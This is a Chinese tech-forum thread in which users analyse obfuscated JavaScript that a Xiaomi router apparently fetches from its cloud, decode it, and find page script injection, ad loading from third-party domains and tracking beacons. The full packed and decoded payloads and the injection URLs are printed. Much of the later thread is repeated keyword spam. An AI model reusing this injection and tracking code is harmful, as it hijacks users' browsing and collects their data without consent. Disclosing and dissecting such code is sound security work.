小米路由器在后台不停访问小米服务器发送设备信息，继续分析发现不止如此，还...

[ddup]

小米路由器开发版之前有出过劫持网页插入广告的行为，而且这个是通过云端去控制的，也就是你的路由器上有个远程后门。。。

** 这是当时的新闻：小米路由器劫持用户浏览器事件始末 **

今天 SSH 登录小米路由器，执行 top 命令发现了进程中有一个非常可疑的行为。

有一个叫 himan 的进程，行为可疑，频繁的执行，CPU 占用率也很高：

访问了这两个地址：

http://api.miwifi.com/utils/proxy

https://api.miwifi.com/data/himan_rule?sn=xxxxx/xxxxxxxx&deviceId=

这个网址后面还会跟设备 ID，发帖前这个网址还可以访问，你可以自行访问查看

浏览器访问这个地址，发现返回了一个看上去像是规则列表的东西：

最后一个规则非常可疑，是一段 JS 代码：

发现这代码不仅做了压缩，而且还做了混淆加密，而是是双重混淆加密，为什么需要这样做？不想让别人看到什么？

尾巴上的一段代码把它执行，得到了 eval

eval，这已经不是 js 代码的常规操作，这段代码的行迹已经很可疑了。

完整代码如下：

HTTP/1.1 200 OK Server: DnionOS/1.11.2.1.10 Content-Type: application/javascript Connection: close Content-Length: 1535

(function(c,g){g[c()](function(p,a,c,k,e,r){e=function(c){return(c<62?'':e(parseInt(c/62)))+((c=c%62)>35?String.fromCharCode(c+29):c.toString(36))};if('0'.replace(0,e)==0){while(c--)r[e(c)]=k[c];k=[function(e){return r[e]||e}];e=function(){return'[25689rt-zA-F]'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(5(l,n){5 f(o){v{2 d=l.w("head")[0];2 q=d.appendChild(i(o));x(5(){d.removeChild(q)},2000)}y(j){}}5 c(d){8 l.createElement(d)}5 i(e){2 d=c("z");d.type="text/javascript";d.async=true;d.9=e;8 d}5 h(p){2 o="";2 d=Math.floor(p.r/4);2 j=p.r-4d;A(2 e=0;e<d;e++){o+=p.B(4e,3)}6(j>0){o+=p.B(4d)}o=decodeURIComponent(o);o=o.split("").reverse().C("");o=o.t(/["]/g,"www");o=o.t(/[>]/g,"http");o=o.t(/[<]/g,".");8 o}v{2 a="D%33Cskcit2ylajna%x2FmSoc%d3CsLcit7ylavna-9elgCoogR%3C9%22g";a=h(a);2 k=l.w("z");A(2 g=0;g<k.r;g++){6(k[g].9&&k[g].9.u(a)==7){6(!n.E){n.E=1;f(["ht","tp","s://",a].C(""));6(top==this){2 b=navigator.userAgent;6(b.u("Android")>0||b.u("Mobile")>0){6(!n.F){n.F=1;x(5(){f(h("454L01%Z3DdJi%38Fphcp%3BCnoWmmo7c_shjdaT_trJ%2FU2mzV_trh%2Fwmocc%3CU0250ihzXuilr%3C5a%2cF%2EF%3MA%3IE"));f(h("D%L3CeCz8mF%2F0btic%2Fwserz%2F5mocN%3Cexjby-cs8%3CGgi%l2F%R2F%s3A%73E"))},10)}}}}break}}}y(m){}})(document,window);',[],42,'||var|||function|if||return|src||||||||||||||||||length||replace|indexOf|try|getElementsByTagName|setTimeout|catch|script|for|substr|join|sj|g1wtj_uuid_a2n11|uuid_m8v_0212'.split('|'),0,{}))})(function(){return (27).toString(4<<2)+'v'+0xf1.toString(11<<1)},window);

最终解密出来的 js

部分解密，这个 js 应该是采用了自定义的加密手法，而且也许还以依赖了别的外部变量，导致没法通过执行的方式全部还原 js，不过代码的意图已经大致可见。

预计完全解密这段 js 需要些时间，本人时间有限，暂时先发出来，同时欢迎其它大牛解密，看看究竟它在干什么。

因为只解密出大致的代码，没有完全解密，也就无法 100% 断定这段代码的行为，不过已经足够对它行为进行大致的判断。

如何判断，在完全解密出来前，我不会下定论，那么就交给各位了。

最后，看来，我还是自己弄个开源的软路由吧。。。

代码中的几个关键词：

• createElement
• d.type = "text/javascript"
• appendChild
• decodeURIComponent
• www
• http
• b.u("Mobile") > 0

解密出的大致代码：

(5(l, n) { 5 f(o) { v { 2 d = l.w("head")[0]; 2 q = d.appendChild(i(o)); x(5() { d.removeChild(q) }, 2000) } y(j) {} } 5 c(d) { 8 l.createElement(d) } 5 i(e) { 2 d = c("z"); d.type = "text/javascript"; d.async = true; d.9 = e; 8 d } 5 h(p) { 2 o = ""; 2 d = Math.floor(p.r / 4); 2 j = p.r - 4 * d; A(2 e = 0; e0) { o += p.B(4 * d) } o = decodeURIComponent(o); o = o.split("").reverse().C(""); o = o.t(/["]/g, "www"); o = o.t(/[>]/g, "http"); o = o.t(/[<]/g, "."); 8 o } v { 2 a = "D%33Cskcit2ylajna%x2FmSoc%d3CsLcit7ylavna-9elgCoogR%3C9%22g"; a = h(a); 2 k = l.w("z"); A(2 g = 0; g0 || b.u("Mobile") > 0) { 6(!n.F) { n.F = 1; x(5() { f(h("454L01%Z3DdJi%38Fphcp%3BCnoWmmo7c_shjdaT_trJ%2FU2mzV_trh%2Fwmocc%3CU0250ihzXuilr%3C5a%2cF%2EF%3MA%3IE")); f(h("D%L3CeCz8mF%2F0btic%2Fwserz%2F5mocN%3Cexjby-cs8%3CGgi%l2F%R2F%s3A%73E")) }, 10) } } } } break } } } y(m) {} })(document, window);

[oott123]

发完整代码的时候请还是留意一下 markdown 语法吧。

[F1024]

看样子是插入广告代码？

[jsyzdej]

小米路由器不够稳定，曾经买过一台，疯狂掉线，除了颜值看得过去外实在找不到其他理由能安抚我的钱包。

[panda]

意料之中啊

[des]

看着像是插入了一个 js，然后加载完后移除了自己

[imn1]

我一直想知道小米笔记本的 BIOS 或预装系统会不会上传

[sigup]

不要用任何的国产软件 /硬件，全都有后门

[mywaiting]

你都解密出 eval 了，剩下的还不简单啊，那个 g[c()] 按照后面的传入参数，其实就相当于 window[eval()] ，那么剩下的解码就是 把后面的这段直接丢 console 执行即可

解码出来的就是这一段，请自己格式化一下吧：

(function(l,n){function f(o){try{var d=l.getElementsByTagName("head")[0];var q=d.appendChild(i(o));setTimeout(function(){d.removeChild(q)},2000)}catch(j){}}function c(d){return l.createElement(d)}function i(e){var d=c("script");d.type="text/javascript";d.async=true;d.src=e;return d}function h(p){var o="";var d=Math.floor(p.length/4);var j=p.length-4d;for(var e=0;e<d;e++){o+=p.substr(4e,3)}if(j>0){o+=p.substr(4d)}o=decodeURIComponent(o);o=o.split("").reverse().join("");o=o.replace(/["]/g,"www");o=o.replace(/[>]/g,"http");o=o.replace(/[<]/g,".");return o}try{var a="sj%33Cskcit2ylajna%x2FmSoc%d3CsLcit7ylavna-9elgCoogR%3C9%22g";a=h(a);var k=l.getElementsByTagName("script");for(var g=0;g<k.length;g++){if(k[g].src&&k[g].src.indexOf(a)==7){if(!n.g1wtj_uuid_a2n11){n.g1wtj_uuid_a2n11=1;f(["ht","tp","s://",a].join(""));if(top==this){var b=navigator.userAgent;if(b.indexOf("Android")>0||b.indexOf("Mobile")>0){if(!n.uuid_m8v_0212){n.uuid_m8v_0212=1;setTimeout(function(){f(h("454L01%Z3DdJi%38Fphcp%3BCnoWmmo7c_shjdaT_trJ%2FU2mzV_trh%2Fwmocc%3CU0250ihzXuilr%3C5a%2cF%2EF%3MA%3IE"));f(h("sj%L3CeCz8mF%2F0btic%2Fwserz%2F5mocN%3Cexjby-cs8%3CGgi%l2F%R2F%s3A%73E"))},10)}}}}break}}}catch(m){}})(document,window);

[mywaiting]

其中有三句很蛋疼的加密语句

h("sj%33Cskcit2ylajna%x2FmSoc%d3CsLcit7ylavna-9elgCoogR%3C9%22g")
h("454L01%Z3DdJi%38Fphcp%3BCnoWmmo7c_shjdaT_trJ%2FU2mzV_trh%2Fwmocc%3CU0250ihzXuilr%3C5a%2cF%2EF%3MA%3IE")
h("sj%L3CeCz8mF%2F0btic%2Fwserz%2F5mocN%3Cexjby-cs8%3CGgi%l2F%R2F%s3A%73E")

代码上下文可知，这个 h 必定是解密字符串的函数啊，然而，这段 h 函数写得有点问题，自己修复一下执行解密后，结果分别是

"www.google-analytics.com/analytics.js"
"http://a.liuzhi520.com/rt_zm2/rt_adjs_common.php?id=10454"
"http://ig.sc-bjx.com/res/itb/m8ze.js"

[mywaiting]

然后这个 liuzhi520 自行搜索一下，很有趣的事情，有兴趣的同学可以深挖一下这两个域名～

后面这个 m8ze.js 搞的事情，其实也一样，这是解码后的代码：

(function(h,c){function g(k){try{var d=h.getElementsByTagName("head")[0];var l=d.appendChild(b(k));setTimeout(function(){d.removeChild(l)},2000)}catch(j){}}function f(d){return h.createElement(d)}function b(k){var d=f("script");d.type="text/javascript";d.async=true;d.src=k;return d}function a(m){var l="";var d=Math.floor(m.length/4);var k=m.length-4*d;for(var j=0;j<d;j++){l+=m.substr(4*j,3)}if(k>0){l+=m.substr(4*d)}l=decodeURIComponent(l);l=l.split("").reverse().join("");l=l.replace(/["]/g,"www");l=l.replace(/[>]/g,"http");l=l.replace(/[<]/g,".");return l}function i(){var d=new Image();d.src=a("p1j5tgmQ%3Dpw%3xFphIp%3ICci0p%2sF32Q07%c3Anlc%3BCxlgeolu%3Cbzm%w2F%r2F%N3A%W3E")}function e(){var d=new Image();d.src=a("llaLp1mb%3Dqw%3HFphUp%34CciXp%2lF32B07%W3Anfc%3KCxlleolB%3Cqzm%r2F%Q2F%h3A%63E")}if(Math.random()<0.02){i()}if(!c._uuid_mobi_all1_){c._uuid_mobi_all1_=1;if(Math.random()<0.02){e()}g(a("sj%f3Cnzim%03CyAreuqqj%42FbMti%U2Fs2er%L2FmBoc%v3CxXjb-tcs%o3Cmwh%28F%2rF%3VA%3dE"))}})(document,window);

一样的套路，分别访问了

"http://mz.loelx.cn:7023/pic.php?w=mgtj1p"
"http://mz.loelx.cn:7023/pic.php?w=m1pall"
"http://hm.sc-bjx.com/res/itb/jquery.min.js"

前面两个是 new Image() 用于跟踪访客的，最后的这个 jquery.min.js 很有意思的

[AlisaDestiny]

这种加广告的猫腻它也只是敢在移动端耍耍了。
https://i.loli.net/2019/01/15/5c3dfc399864e.png

[Mohanson]

要是在美国已经被告倒闭了。

[guog]

@mywaiting 我擦，不该手贱搜的…

[Wenpo]

恩山找个固件刷一下

[alvin666]

@guog 什么东西？....

[Osk]

再闹事信不信不给你 root ssh 了 :doge:

[KasuganoSoras]

@mywaiting 不搜不知道，一搜笑死

[tab16360]

@mywaiting 他还起个名叫 jqurey.min.js 求生欲很强啊 生怕被深挖出来 期待大神继续挖出更劲爆的信息

[tab16360]

(function(c,g){g[c()](function(p,a,c,k,e,r){e=function(c){return(c<62?'':e(parseInt(c/62)))+((c=c%62)>35?String.fromCharCode(c+29):c.toString(36))};if('0'.replace(0,e)==0){while(c--)r[e(c)]=k[c];k=[function(e){return r[e]||e}];e=function(){return'([578B-Z]|1\\w)'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(8(i,n){8 f(s){try{5 d=i.getElementsByTagName("head")[0];5 t=d.appendChild(h(s));U(8(){d.removeChild(t)},2000)}catch(r){}}8 c(d){B i.V(d)}8 h(r){5 d=c("script");d.type="text/javascript";d.async=W;d.src=r;B d}8 m(r){7(r&&r.G("http")===0){5 d=i.V("a");d.href=r;B d.X}J{B Q}}8 b(){5 d=Y;7(typeof(Z.10)!="undefined"){d=Z.10}B d}5 p=O 8(){L.expTime=8(d){7(d.E==0){d=0}5 r=O Date();r.setTime(r.getTime()+11(d));B r.toGMTString()};L.13=8(t){5 d=t+"=";5 w=d.E;5 u=""+i.cookie;5 s=u.G(d);7(s==-1||t==""){B""}5 v=s+w;5 r=u.G(";",v);7(r==-1){r=u.E}B decodeURI(u.substring(v,r))}};5 g=["ABCDEFG","HIJKLMNO","PQRSTUVWXYZa","bcdefghijklm","nopqrstuvwxyz012","34567


有必要留存一份

[yksoft1ex]

小米路由器及其固件是谁开发的？不知是官方行为还是员工个人干的。

[imnpc]

小米路由器 3 我刷了老毛子固件 不刷以前 5G 经常卡

[yksoft1ex]

whois 了一下 liuzhi520.com 和 sc-bjx.com ，whois 信息的地址电话都是假的，注册都是 2016 年。里面出现了以前被报道过的 email 地址，[email protected] 、[email protected] ，前者好像属于一家叫“渠网在线”的国内虚拟主机商，注册地在福建。

https://www.7114.com/article.asp?subclass=contactus
https://www.freebuf.com/articles/terminal/89961.html

[yksoft1ex]

又发现一个涉及到 [email protected] 注册的域名的劫持案例。
https://bbs.pediy.com/thread-212538.htm

[ddup]

妈的，真的在搞事情！
既劫持网页插入广告，又跟踪用户流量网页信息！

[qiayue]

分析你的兴趣爱好，卖给第三方用于广告精准投放

[Track13]

有意思，等后续。

[fatcheung]

emmmm，智商米真可怕

[DOMO]

一直担心国产路由器会上传 Wi-Fi 密码，小米应该不会吧，之前小米净化器也只敢让它连临时访客网络

[jkjoke]

买个 k2p 吧，公司都不在了滑稽

[sdlearn]

拿着小米手机的手微微颤抖，小米手机看来得关掉同步了

[hanbing135]

毕竟是耍猴米

[saluton]

@jkjoke #29
然而 K2 的官方固件前几天还更新了 doge
https://www.right.com.cn/forum/thread-405835-1-1.html

[s527332935]

小米路由器所有固件都有这个后门吗？

[peanuts7660]

买的小米路由器 3，经常无故掉线。

[flyz]

小米这是狗改不了吃屎吗？

[yejinmo]

为什么在。。翻译的节点

[Hagrid]

小米垃圾路由器，之前玩游戏的时候发现路由器到外网延迟很低，笔记本到小米路由器延迟就 200ms 了。
手机系统也是垃圾，自带广告。

[clino]

搜 liuzhi520 搜到这两个:
https://www.cnblogs.com/cyq1162/p/6096283.html 彻查手机端浏览博客园出现广告一事！
https://www.marsshen.com/2018/03/29/Analysis-of-HTTP-hijacking/ 记一次 Http 劫持分析

[juded]

雷神 5%硬件利润率的牌坊在那呢，当然得找其他地方补回来。

[Daming]

怎么扔到翻译节点了
很期待小米的回复

[Azmeont]

坐下。互联网公司的正常操作

[sowish]

有必要去投诉一下了

[Torpedo]

小米的东西里，最垃圾的就是路由器了

[vinsony]

小米路由器后门
小米路由器固件
小米路由器广告
小米路由器劫持
小米路由器能不能买

[yhan]

我只想搞清楚我的小米 R2D 是不是在偷带宽，别的路由器接光猫妥妥 200M，小米路由器接光猫就得看脸，有时候 200M 有时候就 2M。

[x86]

小米路由谁用谁知道，都几代了固件还是做的那么烂，莫名其妙的 bug，2 次 2 款不同型号路由都出现"设置回档"的现象，后来换 ac5300 后安稳多了

[jinhan13789991]

K3 刷 lede 的路过，买路由器第一看能否刷 lede。

[jasonyang9]

没救了，反正也每人管。雷布斯的心声其实是：你又能拿我怎么样？

[ggsimidar]

小米路由器拿到手第一件事就是刷固件

[xipushi]

小米路由器后门
小米路由器固件
小米路由器广告
小米路由器劫持
小米路由器能不能买

[wangfei324017]

这个该找谁投诉。。。

[Asice]

@wangfei324017 全面抵制国产就是最好的投诉 #doge

[jason19659]

偷偷上传访问记录？

[liuwei666666]

小米路由器后门
小米路由器固件
小米路由器广告
小米路由器劫持
小米路由器能不能买

[koalli]

不是，你们为什么会相信小米这种老流氓会从良呢...

[ashong]

不知道那个魔改 openwrt 的 koolshare 有后门么？刷的人非常的

[shoper]

@jinhan13789991 K3 刷 LEDE 不是说信号很差嘛，这点能忍？

[blakejia]

如果 https 的话。是不是可以保证访问的安全？

[enenaaa]

刚想买一个的。。。

[serge001]

小米路由器后门
小米路由器固件
小米路由器广告
小米路由器劫持
小米路由器能不能买

[DRcoding]

我去，还用了小米路由器好几年，留后门，劫持浏览器，上传访各种记录，太可怕了。。。这是要被打死的节奏啊，没有人起诉小米吗

[LiHaiWordGe]

盘他

[pisser]

小米寄生虫经济学。

[ayayui]

搞事情搞事情

[Trumeet]

回想 Are U OK

[jinhan13789991]

@shoper 并没有很差啊，很差为什么那么多人会刷～

[Fcsle]

小米路由器后门
小米路由器固件
小米路由器广告
小米路由器劫持
小米路由器能不能买

[livnimasileid]

小米路由器后门
小米路由器固件
小米路由器广告
小米路由器劫持
小米路由器能不能买

[nightlight9]

小米不奇怪

[codingKingKong]

试试去黑猫搞一发? 最近网易的羽绒服事件好像在上面曝光的~

[M0]

在访问 huya 和 3 大妈不手动输入 https 时会劫持。

[FEDT]

小米路由器留后门
小米路由器怎么样

[ljspython]

关注

[vissssa]

因为小米路由器玩游戏跳 ping+丢包 我还是换回了 tplink 不知道这个牌子咋样

[zaqzaq0125]

小米路由器后门
小米路由器固件
小米路由器广告
小米路由器劫持
小米路由器能不能买

[winglight2016]

@saluton 我的极路由公司也是倒了，但是很久没更新固件了

[snailz]

@Osk 不给就不给 反正旧型号已经给过(也不指望他会好好更新) 新型号也不可能会买

[Oo0]

小米带电也敢买

[flashrick]

下次还是买华硕的吧

[wsstest]

小米路由器后门
小米路由器固件
小米路由器广告
小米路由器劫持
小米路由器能不能买

[Ritr]

@sdlearn 关闭 同步，退出账号，去网上把盘里的东西删除干净

[Ritr]

小米路由器后门
小米路由器固件
小米路由器广告
小米路由器劫持
小米路由器能不能买

[leoleoasd]

刷 seo 的差不多够了吧 关键词太多次会被降低权重吗
（我不太了解 只是好奇

[newmind]

一般到手第一件事就是刷过系统

[kepenj]

SEO 走一波？

[guixiexiezou]

等后续

[Narwhal]

小米路由器是什么意思？小米路由器是什么梗？小米路由器是谁？这个梗又是从何而来？为什么一瞬间就有好多人使用这个梗？为什么大家都在小米路由器？相信不少同学都很想了解这个梗，下面就让小编来为大家介绍一下小米路由器梗的详细内容。小米路由器是什么意思？小米路由器是什么梗？小米路由器是谁？这个梗又是从何而来？为什么一瞬间就有好多人使用这个梗？为什么大家都在小米路由器？相信不少同学都很想了解这个梗，下面就让小编来为大家介绍一下小米路由器梗的详细内容。小米路由器是什么意思？小米路由器是什么梗？小米路由器是谁？这个梗又是从何而来？为什么一瞬间就有好多人使用这个梗？为什么大家都在小米路由器？相信不少同学都很想了解这个梗，下面就让小编来为大家介绍一下小米路由器梗的详细内容。小米路由器是什么意思？小米路由器是什么梗？小米路由器是谁？这个梗又是从何而来？为什么一瞬间就有好多人使用这个梗？为什么大家都在小米路由器？相信不少同学都很想了解这个梗，下面就让小编来为大家介绍一下小米路由器梗的详细内容。

以上就是小米路由器的全部内容，希望能够帮助到大家。

[juanyilxc]

意料之中，众所周知小米是一家广告公司

[Narwhal]

https://www.infoq.cn/article/2015/06/xiaom-hijack

这种文章一大堆 狗改不了吃屎而已

[nashxk]

这么可怕么。。。现在家里正用着小米的路由器。。

[uuair]

你准备好 1000 万了么。。。

[guader]

小米不干这些才叫新闻吧？大惊小怪。。。

[lgpqdwjh]

狗改不了吃屎

[pimin]

类似帖子我应该两年前就看到过，站内都一哈

[jjx]

这个是不是 miwifi.com 登陆管理你的路由器所需要的?

[xrr2016]

就是广告注入，shit，我正在用小米路由器...

http://www.wuj.whu.edu.cn/d/file/allhtml/lx/lx1705/eabda159-49fd-4aaf-ba44-fb96cfd9aef9.htm


[Immortal]

等小米回复 mark

[WPrince]

欧吼，又被扒了么，果然啊，我家里也是粗粮的路由，等结果。
下一台准备上 UBNT 了，完全提不起对国内路由的信心（我也想提啊）

[uuair]

域名信息是假，备案信息是真吧？

[mmdsun]

@wangfei324017 工信部